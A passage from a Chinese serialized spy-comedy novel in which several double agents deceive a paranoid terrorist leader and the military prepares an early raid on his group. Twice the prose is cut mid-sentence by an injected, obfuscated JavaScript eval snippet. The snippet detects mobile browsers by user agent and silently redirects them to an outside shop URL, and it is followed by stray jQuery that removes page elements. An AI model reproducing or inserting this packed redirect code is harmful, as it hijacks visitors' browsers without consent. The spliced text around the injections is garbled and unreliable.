短耳鸮明白了。爪哇并不真的关心瑆洲的□□势,他们只关心那批军火以及不让战鹰坐大成为地区威胁。 这给了他操作空间。 第二步:回应战鹰 下午两点,短耳鸮推着清洁车来到小区里一个监控盲区用另一部加密设备联系战鹰: “金环蛇身份已初步确认:化名‘拉特娜·维贾亚’的年轻女性,实为瑆洲情报部门特工。证据:1.对爪哇文化了解肤浅;2 .军火知识仅限书本;3.近期与瑆洲军方有可疑接触(详细记录已附)。建议:立即控制,审问其网络。” 48. 短耳鸮的密报 这是真的,但也不全是真的。短耳鸮确实有那些证据,但他故意没提最关键的一点:他已经知道假雪鸮的真实姓名是叶馨蒙,是瑞华高中的学生。这个信息他要留着,作为未来的筹码。 至于真雪鸮的位置…… 短耳鸮犹豫了。告诉战鹰真雪鸮在爱德华家,战鹰肯定会派人去抓。真雪鸮可能会被杀也可能被抓。无论哪种,都会破坏爪哇的计划。 但不告诉的话,战鹰会怀疑他。 他想了想,然后输入: “真雪鸮下落仍在确认中。有线索显示她可能藏身于城西工业区,正在追查具体位置。24小时内将提供确切坐标。” 城西工业区很大,有很多废弃工厂和仓库。足够战鹰的人找上几天了。 这是拖延战术。短耳鸮需要时间思考更好的方案。 发送后,他等了几分钟,战鹰的回复来了: “接受。加快确认‘金环蛇’完整身份及网络。真‘雪鸮’必须在本周内找到。暴动提前至72小时后,我们需要所有可用战力。” 短耳鸮关掉设备,继续拖地。 他刚刚向两个老板撒了不同的谎,而且两边都可能发现。 职业生涯高风险时刻。 第三步:自我辩论 傍晚,短耳鸮结束工作,回到自己的安全屋——一个普通的一居室公寓,位于一个老旧小区,邻居都是退休老人。完美,没人会怀疑这里住着一个顶级特工。 他煮了杯咖啡,坐在窗前,开始思考人生。 他已经五十二岁了。在情报界,这是快要退休的年龄。他的养老金账户余额很可观(多亏了三份收入),在巴厘岛买的度假屋也快付清贷款了。他计划再干两年,然后“自然死亡”(伪造的那种),换个身份去巴厘岛养老,每天晒太阳、钓鱼、喝椰子水。 但现在,这个计划受到了威胁。如果战鹰的暴动成功,瑆洲会陷入混乱,他的潜伏工作会更危险,可能等不到退休。 如果暴动失败,战鹰小组被摧毁,他的高薪兼职就没了,养老金增长会放缓。 如果他被任何一方发现是双面间谍……那就不用考虑养老金了,直接考虑墓地吧。 短耳鸮喝了口咖啡,苦得皱眉。就像他的人生选择一样苦。 他需要想出一个既能保证养老金,又能活到领取养老金的方案。 第四步:意外发现 晚上八点,短耳鸮决定出去走走,换换脑子。他换了身衣服,戴上假发和眼镜,看起来像个普通的中年上班族。 他走到附近的一个小公园,坐在长椅上,看着孩子们玩耍。 然后他看到了一个熟悉的身影:黄安妮,也就是“斑头鸺鹠”,那个三重间谍。 她坐在不远处的另一个长椅上,也在看着孩子们,表情复杂。 短耳鸮知道黄安妮的故事:被迫叛变,杀了表妹,现在为多个老板工作。某种程度上他们是同类——都是在多重身份中挣扎,都想要一个出路。 他走过去,在她旁边坐下。 “晚上好。”短耳鸮用爪哇语说,声音很低。 黄安妮转头看他,眼神警惕,但认出了他:“短耳鸮?” “散步?” “思考。” “巧了,我也是。” 两人沉默地看着孩子们。一个小孩在玩滑梯,每次都大声笑着滑下来,然后再爬上去,乐此不疲。 “简单真好。”黄安妮突然说。 “是啊。”短耳鸮点头,“但我们选不了简单。” “如果我们现在退出呢?”黄安妮问,声音很轻,“就今晚,消失,去一个没人认识我们的地方。” 短耳鸮笑了:“你的养老金账户怎么办?” 黄安妮也笑了,那笑容很苦涩:“我可能活不到领养老金的那天。” “我也是。” 又是一阵沉默。滑梯上的小孩摔了一跤,哭了,妈妈跑过来安慰他。 “战鹰的暴动提前了。”短耳鸮突然说,声音几乎听不见,“72小时后。” 黄安妮的身体僵了一下:“我知道。我收到了命令。” “我也收到了。两个命令,互相矛盾。” 黄安妮转头看他:“所以你也是……” “双面?三面?”短耳鸮耸肩,“看你怎么数。” “你打算怎么办?” “还没想好。”短耳鸮实话实说,“但我知道一件事:无论暴动成功还是失败,我们这种人都是最先被牺牲的棋子。” 黄安妮点头:“所以我泄露了行动计划。” 短耳鸮挑眉:“给谁?” “假雪鸮。或者说,‘金环蛇’。” 短耳鸮愣住了。然后他突然大笑起来,笑声压抑但真实。 一个三重间谍向一个伪装成另一个间谍的间谍泄露情报,而这个情报是关于一个恐怖组织的暴动计划,而这个暴动计划的目标是一个医院,而这个医院里可能藏着军火,而这些军火是一个真间谍藏的…… 这剧情连烂编剧都写不出来。 “你笑什么?”黄安妮问。 “笑这个世界的荒谬。”短耳鸮擦了擦笑出来的眼泪,“我们都想退出,但退出的方式却是把自己卷得更深。” 黄安妮没说话。 “你知道吗,”短耳鸮继续说,“我原本的计划是再干两年,然后去巴厘岛养老。但现在看来,我可能连下周都活不过。” “我也是。”黄安妮说,“我表妹每天晚上来找我聊天。我有时候想,也许死了也不错,至少能和她好好聊聊,不用再躲。” 两人又沉默了。夜幕降临,公园的灯亮了。 “如果我们合作呢?”短耳鸮突然说,“不是为爪哇,不是为战鹰,不是为任何人。就为我们自己。想办法活下去,活到能领养老金的那天。” 黄安妮看着他:“怎么做?” “首先,我们得确保暴动不会成功,但也不会完全失败。”短耳鸮快速思考,“战鹰需要受到重创,这样他们就不会怀疑我们;但也不能被彻底消灭否则我们的兼职收入就没了。” “其次,真雪鸮和假雪鸮都不能死。真雪鸮知道军火下落,假雪鸮……也许能成为我们的盟友,或者至少,不是敌人。” “第三,我们需要一个‘功劳’,大到足以让我们申请提前退休,或者至少调离一线。” 黄安妮思考着:“具体计划?” 短耳鸮压低声音,快速说了一个计划。大致是:他会在24小时后告诉战鹰真雪鸮的“确切位置”(当然是假的),引导战鹰的人去一个陷阱;同时,他会通过黄安妮泄露的渠道,让假雪鸮知道这个陷阱,让她和瑆洲军方提前埋伏;战斗发生后,真雪鸮会“意外”出现(短耳鸮会安排),搅乱局势;最后,短耳鸮和黄安妮会“英勇”地协助捕获或击毙几个重要目标,成为“功臣”。 “风险很大。”黄安妮说。 “比什么都不做等死风险小。”短耳鸮说,“至少我们主动选择了怎么死——或者怎么活。” 黄安妮想了很久。滑梯上的小孩已经回家了,公园里只剩下他们两个人。 “好。”她最终说,“我加入。” 短耳鸮伸出手:“合作愉快。” 黄安妮握住:“希望我们能活到领养老金的那天。” “希望如此。” 两人起身,各自离开公园,消失在夜色中。 短耳鸮回到安全屋,重新打开加密设备。他需要开始布置那个复杂的、充满谎言的陷阱。 他一边输入指令,一边想:如果这个计划成功,他可能真的能提前退休,去巴厘岛。 如果失败……至少他试过了。 总比坐在清洁工具间里吃便利店饭团,等着被某个老板出卖强。 一个顶级特工的退休计划,居然取决于一场他亲手设计的、涉及至少四个势力的混战。 但他没有选择。 在这个行业里,选择往往意味着选哪种死法。 而短耳鸮选择了最复杂、最荒谬、但也最有希望活下去的那种。 他输入最后一条指令,发送。 然后他关掉设备,走到窗前,看着窗外的城市。 72小时。 要么退休,要么入土。 或者,幽默一点:在退休派对上被无人机炸死。 “至少,”他自言自语,“我努力过了。” 窗外,瑆洲的夜晚依然灯火辉煌。 而在这个城市的各个角落,阴谋正在交织,谎言正在叠加,一场荒诞的大戏即将上演。 而短耳鸮,这个清洁工打扮的顶级特工,既是编剧,也是演员,还是唯一的观众。 他举起想象中的酒杯,对着夜色: “祝我们好运。” “或者至少,祝我们死得有趣点。” —————————————————— 这时候,再要幽默一点,把战鹰的信任比作是一块饼干,那它现在已经碎得连渣都捡不起来了。实际上,如果有人敢在他面前提“信任”这个词,他可能会直接把那人从二十三楼扔下去——只是因为他“怀疑”那人“可能”在想什么不好的事。 事情是这样的:自从阮文雄(鱼鹰)死后,战鹰就进入了一种“看谁都像叛徒”的偏执状态。他办公室的墙上有块白板,上面列着所有核心成员的名字,每个人名字后面都跟着一串问号、感叹号和令人不安的注释。 比如: 短耳鸮:爪哇卧底,但提供了有用情报。也可能是三重间谍?监控中。备注:如果发现异常,直接处理,不用请示。 斑头鸺鹠(黄安妮):三重间谍(我们知道她在为爪哇工作,她也知道我们知道,但假装我们不知道她知道我们知道)。最近行为可疑,频繁访问“无关”地点。备注:她表妹真的死了吗?还是伪装? 雪鸮(拉特娜·维贾亚/假雪鸮):身份存疑。鱼鹰死前怀疑她是“金环蛇”(瑆洲女特工)。通过所有测试,但太完美了。备注:如果她是假的,那她背后一定有更大的网络。放长线? 真雪鸮(拉特娜·维贾亚/真货):越狱后下落不明。短耳鸮说在城西工业区,但还没找到。备注:她可能知道军火下落,也可能在策划报复。优先找到,但小心陷阱。 还有其他十几个名字,每个后面都有类似的注释。战鹰每天花至少两小时盯着这块白板,用红笔在名字之间画线,试图找出“阴谋的网络”。 结果就是,现在整个鹰巢的气氛紧张得像高压锅,每个人都觉得战鹰下一秒就会掏枪指着自己的头说“你是叛徒”,然后不等解释就开枪。 一个恐怖组织的头目,最大的敌人不是政府军,而是自己的妄想症。 信任危机导火索是今天早上的加密通讯。战鹰同时收到了三条信息,每条都让他对世界的信任度降低百分之三十。 第一条来自一个匿名渠道(后来查明是黄安妮故意泄露的): “警告:组织内部有高级成员已向瑆洲情报部门泄露暴动计划。泄露内容:时间、地点、关键目标。建议立即更改计划或取消。” 第二条来自短耳鸮: “确认:‘金环蛇’真实身份为叶馨蒙,十九岁,瑞华高中学生,圣保罗医学院预科生。背后组织:瑆洲a军区。建议:立即控制, 但小心可能存在的保护措施。” 第三条来自一个战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937066|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹰从未听说过的反常代号“蝇蝇”(实为尹柏萧所伪造): “真‘雪鸮’不在城西工业区。她在男友爱德华处(地址附后)。短耳鸮那个老狐狸在误导你。原因不明,……但建议怀疑所有爪哇籍成员。” 三条信息,三个方向,三个互相矛盾的警告。 战鹰看完后,沉默地坐了三分钟。然后他站起来,走到窗边,看着下面的城市,突然大笑起来——那种疯狂、压抑、让人脊背发凉的笑。 他的副手(一个新提拔的,因为前副手“可能”有可疑行为被处理了)小心翼翼地问:“长官?您……还好吗?” 战鹰停止大笑,转身,眼神冰冷:“好?我很好。我只是突然明白了:我们这里没有叛徒。” 副手松了口气:“那就好——” “因为我们都是叛徒。”战鹰继续说,“每个人都在为别人工作,每个人都在说谎,每个人都在计划着背叛。” 副手的笑容僵在脸上。 信任危机的表现 从那天起,鹰巢的运作方式发生了剧变。战鹰实施了以下“安全措施”: 1.影子制度:每个核心成员都被分配了一个“影子”——另一个成员秘密监视他/她,记录所有可疑行为。但影子自己也被另一个影子监视,形成无限循环。结果就是,所有人都花更多时间监视别人而不是工作,效率降到零。 2.随机忠诚测试:战鹰会随机叫人到办公室,突然问一些刁钻的问题,比如“你昨天下午三点在哪里?”或者“你妻子的表妹的狗叫什么名字?”。答不上来或犹豫的人会被关禁闭“直到弄清真相”。已经有三个人因为记不住自己编的假背景里的宠物名字而被关了。 3.信息隔离:不同部门之间不再共享信息。负责物流的不知道行动时间,负责行动的不知道目标地点,负责目标的不知道为什么要袭击那里。结果就是,有人把炸药运到了错误的地点,有人去袭击了一个已经废弃的设施,还有人因为“看起来可疑”而被自己人打了一顿。 4.互相举报奖励:举报其他成员“可疑行为”的人会得到奖金。结果就是,每天都有十几起举报,大部分是捏造的,目的是搞垮竞争对手或单纯因为无聊。战鹰不得不成立一个“举报核实小组”,但这个小组的成员很快也开始互相举报。 整个组织陷入了自我吞噬的恶性循环。幽默的是,瑆洲军方和情报部门还没动手,鹰巢自己就要从内部崩溃了。 叶馨蒙(假雪鸮)的日子也不好过。自从阮文雄死后,她确实松了一口气但很快发现战鹰的怀疑转移到了所有人身上,包括她。 今天早上,她被叫到战鹰的办公室。办公室在废弃造船厂的深处,经过三道防爆门,墙壁是隔音的,据说连尖叫都传不出去。 战鹰坐在巨大的办公桌后面,背后是那块令人不安的白板。他没有请叶馨蒙坐,而是盯着她看了整整一分钟,一言不发。 叶馨蒙站着,努力保持平静,但手心在出汗。 “拉特娜。”战鹰终于开口,“或者我该叫你……叶馨蒙?” 叶馨蒙的心脏几乎停止跳动。她知道这一天会来,但没想到这么快。 “我不明白您的意思。”她说,声音尽量平稳。 战鹰拿起一份文件,扔到桌子上:“叶馨蒙,十九岁,瑞华高中学生,父母不明,住学生公寓。化学成绩优秀,性格内向,朋友不多。”他顿了顿,“和你完全不像,对吧?” 叶馨蒙的大脑飞速运转。承认?否认?还是…… “除非,”战鹰继续说,“是你的伪装。一个年轻的学生,实际上是瑆洲军区的特工,代号‘金环蛇’,伪装成‘雪鸮’潜入我们组织。” 他站起来,走到叶馨蒙面前,距离很近,她能闻到他身上的古龙水味和淡淡的火药味。 “告诉我,”他的声音很低,“你是吗?” 叶馨蒙抬起头,直视他的眼睛。这是庞教官教她的:在压力下,保持眼神接触,不要躲闪。 “如果我是,”她说,“我会做得更好。我不会犯那些小错误,不会让鱼鹰怀疑我,不会到现在还没交出军火。” 战鹰眯起眼睛。 “但我也不是完美的家伙。”叶馨蒙继续说,“我有我的弱点,我的过去,我的秘密。但有一点我可以保证:我站在这里,是因为我相信你们的事业。如果我不信,我早就走了——或者早就把你们都出卖了。” 这是冒险的回应:既不承认也不否认,而是质疑问题本身。但战鹰似乎接受了——至少暂时。 他走回座位,坐下:“短耳鸮说你在为瑆洲工作。” “短耳鸮还说真雪鸮在城西工业区。”叶馨蒙反击,“但我们都知道,短耳鸮自己在为谁工作都说不清楚。” 战鹰笑了,这次是真的笑:“说得好。所以你认为短耳鸮在误导我们?” “我认为在这个房间里,除了您自己,谁都不能完全信任。”叶馨蒙说,“包括我。您应该用结果判断人,而不是传闻。” “结果?”战鹰挑眉,“你到现在还没交出军火。” “因为刘易斯死了,线索断了。”叶馨蒙说,“但我找到了新的线索。‘渔夫’同意见面,就在今晚。如果顺利,72小时内,军火会到位。” 这是真的。她确实联系了“渔夫”,对方同意见面。但她没说见面地点已经被她泄露给了庞教官,军方会在周围布控。 战鹰思考着。他能看出叶馨蒙在隐瞒什么,但她也确实在做事。在现在这个人人自危的环境里,一个还在做事的人,已经很难得了。 “好。”他最终说,“今晚去见‘渔夫’。但你不是一个人去——黄安妮会跟你一起。互相监视,互相保证。” 49. 信任危机 这是典型的战鹰式安排:让两个可能都是叛徒的人互相监视,看谁会先暴露。 叶馨蒙点头:“明白。” “还有,”战鹰补充,“如果这次再失败……我就不再需要测试了。我会直接做决定。” 意思很清楚:再失败,就死。 叶馨蒙离开办公室时,后背已经湿透了。但她至少争取到了时间——今晚,与“渔夫”的会面,可能是她最后的机会。与此同时,鹰巢的其他部分正在自我瓦解。 在物流部门,两个小组长因为“谁该负责运输车辆”的问题打了起来,一个被打断鼻子,一个眼睛青肿。战鹰的处理方式是:把两个人都关禁闭,然后让一个完全不懂物流的文员临时负责。结果就是,三辆装满武器的卡车被误送到了幼儿园(幸好是晚上,没人),另一辆直接开进了警察局停车场(司机发现错误时差点心脏病发作)。 在情报分析组因为信息隔离,分析师们得不到完整的情报,只能靠猜测写报告。一份报告声称“圣保罗医院有核武器”(依据是“医院有大型地下设施”),另一份说“瑆洲总理会在暴动当天去动物园看熊猫”(依据是“总理大人喜欢熊猫”)。战鹰看了这些报告,气得把整个小组都降级去打扫厕所。 最糟糕的是财务部门:因为互相举报,首席会计师被指控“挪用公款”,证据是他买了一杯比平时贵五毛钱的咖啡。战鹰下令调查,结果发现整个部门的账目都是一团糟,没人知道钱到底去哪了。战鹰的处理方式是:解散财务部,所有开支现在需要他亲自批准。结果就是连买厕纸都要写申请,等批准下来时,厕所已经没纸三天了。 一个计划推翻政府的恐怖组织,现在最大的问题是厕纸短缺和幼儿园停车场里的武器卡车。 下午四点,信任危机达到了峰值。 战鹰收到了第四条匿名信息(这次也是尹柏萧伪造的,目的是加剧混乱): “警告:战鹰本人已被瑆洲情报部门策反。他计划在暴动开始后投降,用组织成员换取赦免。所有成员立即停止行动,等待进一步指令。” 这条信息不是发给战鹰的,而是群发给了所有核心成员。 后果是灾难性的。 首先是短耳鸮,他收到信息后立刻销毁了所有敏感文件,准备跑路——但想起自己还有养老金在爪哇,又犹豫了。 然后是黄安妮,她看到信息后第一反应是“终于”,第二反应是“但如果是假的呢?”。 其他成员的反应各不相同:有人相信,有人怀疑,有人直接给瑆洲警方匿名打电话想“立功”。 最糟的是,这条信息也发给了战鹰自己。 当战鹰看到“战鹰本人已被策反”时,他先是困惑,然后愤怒,最后陷入了一种诡异的平静。 他把所有核心成员叫到会议室。二十几个人,每个人都警惕地看着别人,手放在武器附近。 战鹰站在前面,看着这些人,突然觉得这一切都很可笑。 他花了十年建立这个组织,培养这些人,计划这个行动。但现在,因为几条来路不明的信息,一切都崩溃了。 “有人收到一条有趣的信息。”战鹰开口,声音很平静,“说我被策反了,准备出卖你们。” 没人说话。所有人都低着头,避免眼神接触。 “我想知道,”战鹰继续说,“你们中有多少人相信了?” 还是没人说话。 “站起来。”战鹰说,“相信这条信息的人,站起来。” 沉默。然后,慢慢地,有一个人站了起来。接着是第二个、第三个……最后,除了叶馨蒙和黄安妮,所有人都站起来了。 战鹰看着这一幕,突然大笑起来。疯狂、绝望的笑。 “很好。”他笑完后说,“那我也说实话:我确实在考虑投降。” 会议室里一片死寂。 “但不是为了赦免。”战鹰说,“而是因为我觉得我们赢不了。看看你们,看看这个组织。我们连自己都管不好,还想推翻一个政府?” 他走到窗前,背对着他们:“暴动取消。所有人解散,自己逃命去吧。能跑多远跑多远。” 说完,他推开门,走了出去。 留下二十几个人面面相觑,不知道这是不是另一个测试。 一个恐怖组织的终结,不是被军队镇压,不是被情报部门渗透,而是因为群发的一条假信息和领导人的突然崩溃。 叶馨蒙站在那里,看着空荡荡的门口,脑子里只有一个念头:那我的任务怎么办?我花了这么多时间,冒了这么多风险,现在目标自己解散了? 这算成功还是失败? 她看向黄安妮,黄安妮也看着她。两人眼神交汇,都看到了同样的困惑和荒谬。 然后不知是谁先笑的。可能是黄安妮,可能是叶馨蒙,也可能是两个人同时。 笑声在安静的会议室里响起,开始很小然后越来越大,最后变成了无法控制的狂笑。 其他人看着她们,以为她们疯了。 也许她们真的疯了。 在这个疯狂的世界里,不疯才是真的疯。 叶馨蒙笑到眼泪都流出来,靠在墙上,喘着气。 “所以,”她对黄安妮说,“我们现在怎么办?” 黄安妮擦掉笑出来的眼泪:“不知道。但我表妹今晚可能会在梦里问我:‘安妮姐,你的恐怖组织工作怎么样了?’” “你怎么回答?” “我说:‘莎莎,别问了。连厕纸都没有的组织,不值得谈论。’” 两人又笑了起来。 而在外面,战鹰坐在自己的车里,看着手机里真正的加密信息——来自一个他信任的、从未暴露过的线人: “所有匿名信息都是伪造的。目的是制造混乱。组织内部确实有叛徒,但不是你怀疑的那些人。继续原计划,但要更谨慎。” 战鹰看着这条信息,然后看向会议室的方向。 他刚才的崩溃,一半是真的,一半是表演。他想看看,在压力下,谁会暴露。 现在他有了答案。 他启动车子,驶离造船厂。 游戏还没结束。 只是进入了更荒谬的阶段。 在这个世界里,连崩溃都可以是策略,连解散都可以是陷阱。 而叶馨蒙,还在会议室里笑着,不知道更复杂的考验即将到来。 她只是觉得,如果这一切是一场梦,那编剧的品味真的太差了。 ———————————————— 瑆洲军方发言人:“ 如果我们的情报简报有表情包的话, 那今天这一期的标题一定是《震惊!恐怖分子要提前搞事,我们也只好提前下班……哦不,提前收网》 事情是这样的:昨晚十一点四十七分,情报中心的小白脸分析员小王(真名王艾伦,但大家都叫他小王,因为他长得像某个姓王的华语明星)在监控“战鹰”组织的加密通讯时,发现了一条异常信息。信息很短,只有几个词: “日期提前。72小时。所有单位准备。” 小王当时正在吃第三包咖喱泡面(加班标配),看到这条信息时差点把面条从鼻子里喷出来。他赶紧上报,层层转递,凌晨两点,军方高层紧急会议,凌晨四点,决定提前收网行动。 用总参谋长的话说:“既然他们要提前开派对,那我们就提前砸场子。反正早晚要砸,早点砸完早点回家睡觉。” 一场可能改变地区格局的军事行动,决策过程听起来像在决定周末烧烤要不要提前一小时开始。 凌晨五点,尹柏萧被加密通讯器的震动吵醒。他昨晚只睡了三个小时,因为处理医学院开学前各种繁忙事务,眼睛红得像兔子。 他拿起通讯器,看到信息: “紧急:鹰巢行动提前收网。时间:48小时后。你的任务:1.确保圣保罗医院区域安全;2.如遇‘金环蛇’(叶馨蒙),提供必要协助但不暴露身份;3.如有机会,获取或摧毁那批军火。授权级别:最高。备注:别死了,你的职称没人代。这是你的上司谭处长的原话!” 尹柏萧坐在床上,看着这条信息,突然笑了。他就懂得最后那个备注一定是他的直属上司谭处长加的——那个老家伙总喜欢在严肃指令里加黑色幽默。 他起床,煮咖啡烤面包煎鸡蛋和培根,开始思考。 48小时。后天这个时候,要么行动成功,要么……嗯,可能就没有“要么”了。 他需要做几件事: 第一,确认叶馨蒙的位置和状态。他打开私人监控网络,调取昨晚的数据。叶馨蒙昨晚十点回到瑞华学生公寓,之后再没出去。但瑞华公寓楼下的监视车还在——战鹰的人还在盯着她。 第二,准备医院区域的防御。作为医学院未来理事长,预科班班主任兼特训处教官,少将,他有权限调动军方的安保力量但必须不引起怀疑。决定以“反恐演习”为名,加强对医院和医学院校区的安检和巡逻。 第三,那批军火。这是最大的未知数。如果军火真的存在,而且被“战鹰”拿到,行动会变得非常危险。他需要找到军火的下落,或者至少确保它们不会被使用。 他一边喝咖啡,一边制定计划。窗外的天空开始泛白,新的一天开始了,可能是很多人的最后一天…… 早上七点,叶馨蒙被手机震动吵醒。不是加密通讯器,而是普通手机——闹钟。她昨晚几乎没睡,脑子里全是战鹰突然宣布解散组织的荒谬场景。 她起床,洗漱,准备去学校。今天有化学测验,她不能缺席——缺席会引起怀疑。 八点,她刚走出公寓楼,加密通讯器震动了。她走到一个相对隐蔽的角落,查看信息: “最终指令:鹰巢行动收网提前至48小时后。你的任务:1.今晚与‘渔夫’会面,获取军火确切下落;2.明晚战鹰可能会重组行动,你需要保持位置;3.收网时刻,尽可能控制或标记重要目标。安全第一,但任务必须完成。备注:考个好成绩,教官在看着呢。” 叶馨蒙看着信息,心脏狂跳。48小时。后天这个时候,一切都会结束——要么成功,要么……她不敢想。 她需要做几件事: 第一,通过今天的化学测验。这听起来很荒谬,但在双重生活中,保持表面正常是最重要的伪装。 第二,今晚与“渔夫”会面。这是获取军火下落的最后机会。庞教官已经安排好了支援,但会面地点是“渔夫”定的,很偏僻,风险很高。 第三,应付黄安妮。战鹰安排黄安妮和她一起去见“渔夫”,名义上是互相监视,实际上是互相牵制。叶馨蒙不知道黄安妮的真实立场,但昨晚在会议室里,她们至少分享了同样的荒谬感。 她深吸一口气,走向学校。街道上,人们像往常一样忙碌:上班族赶地铁,学生买早餐,小贩摆摊。没人知道,这座城市正站在悬崖边上。 与此同时,瑆洲军方各部门正在为提前收网做准备。由于时间紧迫,一切从简,结果产生了一系列黑色幽默的场景: 在特种部队指挥部,队长正在给队员做简报:“我们的任务是控制这个废弃造船厂,逮捕或击毙所有抵抗人员。注意,目标可能穿着平民服装,但拿着武器。如果看到拿武器的平民,那就是目标;如果看到拿平民的武器……那可能是误伤,尽量别发生。” 在情报分析中心,分析员们正在整理目标名单。一个小年轻问:“长官,这个‘短耳鸮’的备注写着‘清洁工,擅长拖地和间谍活动’,我们要特别注意他的拖地技巧吗?” 长官瞪了他一眼:“他是顶级特工,伪装成清洁工。如果你看到他拖地拖得特别专业或者拖把里藏着枪,那就可能是他。” 在通讯监听组,技术员们正在调试设备。一个技术员抱怨:“战鹰用的加密算法太老了,我奶奶的微波炉都比它难破解。” 他的同事回答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937067|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别抱怨了,至少我们能听懂他们在说什么。上次监听那个新恐怖组织,他们用《小猪佩奇》的台词当暗号,我们分析了三天才发现‘乔治的恐龙丢了’意思是‘炸弹安好了’。” 一场严肃的反恐行动,准备工作听起来像喜剧脚本—— 尹柏萧在办公室整理书本文件,但心思已经飘走了。透过教室的窗户,他能看到圣保罗医院的主楼。那里不只是医院,还是军方的秘密情报枢纽,也是“战鹰”的重要目标。 48小时后,那里可能会变成战场。 而他,既要是保护者,又要是参与者,还要假装是个普通的未来理事长。 精神分裂程度再加一分。 叶馨蒙坐在瑞华高中的教室里,面对化学试卷。题目很难,但她几乎本能地在答题:分子结构、化学键能、反应方程式…… 她的手指在微微颤抖,不是因为紧张考试而是因为口袋里加密通讯器的持续震动——庞教官在更新今晚会面的细节。 “叶馨蒙,”监考老师走到她身边,“你没事吧?你脸色很差。” “我没事,”叶馨蒙挤出微笑,“只是有点头疼。” “需要去医务室吗?” “不用,我能完成。” 她继续答题,但脑子分成了两半:一半在计算摩尔浓度,一半在分析“渔夫”可能设下的陷阱。 她可能是世界上唯一一个一边解化学题一边计划如何从恐怖分子手中获取军火下落的高中生。 下午两点,战鹰并没有像他宣称的那样解散组织。相反,他把所有还“可信”的成员召集到了一个新的安全屋——这次是一个废弃的冷冻仓库,温度零下五度,每个人说话都冒白气。 “昨天是个测试,”战鹰说,裹着厚大衣,看起来像只肥胖的企鹅,“我想看看,在压力下,谁会暴露,谁会忠诚。” 他指了指旁边的一个屏幕,上面播放着昨晚会议室的监控录像:“这些人,在听到我说解散时,第一时间想到的是逃跑。”他按下遥控器,几个人的头像被打上红叉,“他们已经被处理了。” 又按一下:“这些人,在收到匿名信息后,试图联系外界。”更多红叉。 最后,屏幕上只剩下五个头像:短耳鸮、黄安妮、叶馨蒙,还有两个低级成员。 “你们五个,”战鹰说,“至少没有立即背叛。所以你们获得了参与最后行动的机会。” 叶馨蒙站在冷冻仓库里,冷得发抖,但心里更冷。战鹰的“测试”又害死了十几个人,而她现在成了“可信”的人之一。 黑色幽默。在一个恐怖组织里,“可信”意味着你至少杀了足够多的人,或者表现得足够像疯子。 “行动时间:明晚十点。”战鹰继续说,“目标:圣保罗医院。不是要摧毁它,而是要控制它。医院地下有我们需要的东西——不只是军火,还有更重要的。” 他看向叶馨蒙:“拉特娜,你的军火如果能在明晚八点前到位,行动成功率增加百分之三十。能做到吗?” 所有目光集中在她身上。叶馨蒙点头:“‘渔夫’今晚会给我确切坐标。如果一切顺利,明晚六点前,军火可以运到医院附近。” “好。”战鹰又看向黄安妮和短耳鸮,“你们两个负责协助。但要记住:互相监视。如果任何一方有可疑行为,另一方有权立即处理。” 典型的战鹰式安排。叶馨蒙几乎能想象明晚的场景:她、黄安妮、短耳鸮,三个人互相用枪指着对方,同时还要对付军方,同时还要搬运军火。 喜剧演员都写不出这种剧本。 晚上七点,叶馨蒙在公寓里准备与“渔夫”会面。她检查了装备:手枪、匕首、通讯器、追踪器、还有一小瓶解毒剂(庞教官给的,以防“渔夫”下毒)。 庞教官的最后一条信息是:“‘渔夫’可能是真雪鸮的人,也可能是第三方。无论如何,获取军火下落是首要目标。支援小组会在外围但如果情况不对,立刻撤退。记住:活着才有价值。” 叶馨蒙回复:“明白。化学测验我考了98分,顺便说一句。” 庞教官:“……很好。继续保持正常。” 八点,黄安妮准时来敲门。她看起来比平时更疲惫,但眼神坚定。 “准备好了?”黄安妮问。 “好了。”叶馨蒙背上包,“你带了多少人?” “就我一个。短耳鸮在另一个地点待命说是‘以防万一’,但我怀疑他根本不想来。” 两人下楼,上了一辆不起眼的轿车。黄安妮开车,叶馨蒙坐在副驾驶座。 车里很安静。开了十分钟后,黄安妮突然说:“你知道吗,我表妹莎莎如果还活着,今天是她二十二岁生日。” 叶馨蒙转头看她。 “她一直想开个画展。”黄安妮继续说,眼睛盯着前方,“她说要画一个系列,叫《普通人的不普通一天》。现在想想,我们这一天挺适合当素材的。” 叶馨蒙没说话。她不知道黄安妮为什么突然说这个,但能感觉到其中的悲伤。 “如果今晚出事,”黄安妮说,“帮我个忙:如果我死了,而我表妹真的在某个地方看着,告诉她,我最后做的事,至少有一件是对的。” “你指的是什么?” “我也不知道。”黄安妮笑了很苦涩,“等我做了,你告诉我。” 车子驶向城外,夜色渐深。 而在城市的另一边,尹柏萧站在圣保罗医院的天台上俯视看着下面的街道。他已经部署好了安保力量,但心里还是不安。 48小时。后天这个时候,要么一切结束,要么一切开始。 他拿出手机,给叶馨蒙发了条信息:“化学竞赛的模拟题答案我放办公室了,你有空来拿。另外,注意安全。” 普通的关心,但也许她能听懂。 几分钟后,回复来了:“谢谢教官。明天去拿。” 尹柏萧收起手机,看着夜空。 50. 对决前夜 星星很亮,月亮很圆。适合决战的夜晚。 在这个美丽的夜晚,一群人在准备杀人,一群人在准备被杀,而大多数人还在看电视、吃晚饭、计划周末去哪儿玩。 世界就是这么分裂,这么荒谬。 但无论如何,对决前夜已经来临。 时钟在滴答作响。 每个人都在自己的轨道上,驶向那个不可避免的交汇点。 